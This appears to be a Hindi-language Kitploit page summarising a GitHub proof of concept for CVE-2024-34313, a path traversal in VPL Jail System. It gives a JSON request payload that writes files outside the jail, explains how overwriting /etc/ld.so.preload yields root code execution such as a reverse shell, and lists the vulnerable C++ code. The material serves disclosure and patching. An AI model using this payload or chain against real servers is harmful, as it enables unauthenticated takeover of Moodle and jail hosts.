Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-34313 — ☣️ इस रिपॉज़िटरी में CVE-2024-34313 का विवरण और एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है। | Kitploit
उपकरण/GitHubGitHub/vincentscode/cve-2024-34313
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubvincentscode/cve-2024-34313

CVE-2024-34313

☣️ इस रिपॉज़िटरी में CVE-2024-34313 का विवरण और एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है।

रिपॉजिटरी देखें
22 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2024-34313

Product CWE CWE

विवरण

VPL Jail System v4.0.2 तक में एक पाथ ट्रैवर्सल (Path Traversal) भेद्यता पाई गई है, जो मनमानी फ़ाइलों को ओवरराइड करने की अनुमति देती है और इस प्रकार रूट उपयोगकर्ता तक विशेषाधिकार वृद्धि (privilege escalation) करने में सक्षम बनाती है।

इस भेद्यता को CVE-2024-34312 के साथ जोड़कर बिना किसी पूर्व प्रमाणीकरण की आवश्यकता के किसी Moodle इंस्टेंस पर दूरस्थ रूप से कब्ज़ा किया जा सकता है।

अतिरिक्त विवरण

जेल सर्वर एक C++ सर्वर है जो अविश्वसनीय कोड को सैंडबॉक्स वातावरण में एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चलाता है। सर्वर निर्दिष्ट पोर्ट पर आने वाले कनेक्शनों को सुनता है और प्रत्येक कनेक्शन के लिए एक नई प्रक्रिया (process) शुरू करता है। jail.cpp में commandUpdate फ़ंक्शन क्लाइंट से फ़ाइलों और उनकी सामग्री का एक मैप प्राप्त करता है। ProcessMonitor::writeFile को फ़ाइल के नाम और उसकी सामग्री के साथ कॉल किया जाता है, और यह पूर्ण पथ प्राप्त करने के लिए जेल उपयोगकर्ता की होम डायरेक्टरी को फ़ाइल नाम के साथ जोड़ देता है। फिर फ़ाइल को Util::writeFile का उपयोग करके फाइलसिस्टम में लिखा जाता है। यह हमलावर को पाथ ट्रैवर्सल के माध्यम से फाइलसिस्टम में मनमानी फ़ाइलें लिखने की अनुमति देता है।

शोषण

एक हमलावर इस भेद्यता का उपयोग /etc/ld.so.preload को एक शेयर्ड ऑब्जेक्ट फ़ाइल के पथ के साथ ओवरराइट करने के लिए कर सकता है, जिसे सिस्टम पर हर डायनेमिक रूप से लिंक्ड एक्ज़ीक्यूटेबल द्वारा लोड किया जाएगा, जैसा कि यहाँ समझाया गया है। इसके बाद इस शेयर्ड ऑब्जेक्ट फ़ाइल का उपयोग रूट के रूप में मनमाना कोड निष्पादित करने के लिए किया जा सकता है, जैसे कि रिवर्स शेल (reverse shell) शुरू करना। एक्सप्लॉइट को आसान बनाने के लिए, शेयर्ड ऑब्जेक्ट फ़ाइल को जब भी कोई setuid बाइनरी निष्पादित की जाती है, लोड किया जाता है, और सर्वर को भेजे गए अनुरोध में एक स्क्रिप्ट शामिल हो सकती है जो sudo जैसी setuid बाइनरी को निष्पादित करने का प्रयास करेगी, यह सुनिश्चित करते हुए कि शेयर्ड ऑब्जेक्ट फ़ाइल तुरंत लोड हो जाए।

जेल सिस्टम की डिफ़ॉल्ट कॉन्फ़िगरेशन में, हमलावर को किसी भी प्रमाणीकरण की आवश्यकता नहीं होती है।

"hello-world.txt" को सिस्टम की रूट में लिखने के लिए एक उदाहरण पेलोड निम्नलिखित होगा:

root@kitploit:~
{
    "method": "request",
    "params": {
        "filestodelete": [],
        "files": {
            "../../../hello-world.txt": "Hello, world!"
        },
        "fileencoding": {
            "../../../hello-world.txt": 0
        },
        "adminticket": "82350372182271",
        "pluginversion": 2021061600,
    },
    "id": "3-32354-684945600",
}

adminticket को जेल सिस्टम को एक बिना प्रमाणीकरण वाला अनुरोध भेजकर आसानी से प्राप्त किया जा सकता है। अपने नाम के बावजूद, यह केवल एक प्रकार का सत्र टोकन (session token) है। fileencoding को 1 पर सेट करके Base64-एन्कोडेड बाइनरी फ़ाइलें अपलोड की जा सकती हैं।

भेद्य कोड स्निपेट नीचे सूचीबद्ध है।

root@kitploit:~
bool Jail::commandUpdate(string adminticket, RPC &rpc){
	processMonitor pm(adminticket);
	try {
		mapstruct files = rpc.getFiles();
		Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
		mapstruct fileencoding = rpc.getFileEncoding();
		//Save files to execution dir and options, decode data if needed
		for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
			string name = i->first;
			string data = i->second->getString();
			if ( fileencoding.find(name) != fileencoding.end()
					&& fileencoding[name]->getInt() == 1 ) {
				Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
				data = Base64::decode(data);
				if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
					name = name.substr(0, name.length() - 4);
				}
			}
			Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
			pm.writeFile(name, data);
		}
		return true;
	}
	catch(...){
        // ...
	}
	return false;
}

void processMonitor::writeFile(string name, const string &data) {
	string homePath = getHomePath();
	string fullName = homePath + "/" + name;
	bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
	if (isScript) { //Endline converted to linux
		string newdata;
		for (size_t i = 0; i < data.size(); i++) {
			if (data[i] != '\r') {
				newdata += data[i];
			} else {
				char p = ' ', n = ' ';
				if (i > 0) p = data[i-1];
				if (i + 1 < data.size()) n = data[i + 1];
				if (p != '\n' && n != '\n') newdata += '\n';
			}
		}
		Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
	}else{
		Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
	}
}

static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
    FILE *fd=fopen(name.c_str(),"wb");
    if (fd == NULL) {
        string dir = getDir(name);
        Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
        if (dir.size())
            createDir(dir,user,pos);
        fd = fopen(name.c_str(),"wb");
        if (fd == NULL)
            throw HttpException(internalServerErrorCode
                    ,"I can't write file");
    }
    if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
        fclose(fd);
        throw HttpException(internalServerErrorCode
                ,"I can't write to file");
    }
    fclose(fd);
    if (lchown(name.c_str(),user,user))
        Logger::log(LOG_ERR, "Can't change file owner %m");
    bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
    if (chmod(name.c_str(), isScript ? 0700 : 0600))
        Logger::log(LOG_ERR, "Can't change file perm %m");
}

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2024-34313
  • विक्रेता URL: https://vpl.dis.ulpgc.es/
  • फिक्स्ड रिलीज़: https://github.com/jcrodriguez-dis/vpl-jail-system/releases/tag/V4.0.3
  • CWE: https://cwe.mitre.org/data/definitions/22.html, https://cwe.mitre.org/data/definitions/284.html
टूल डाउनलोड करें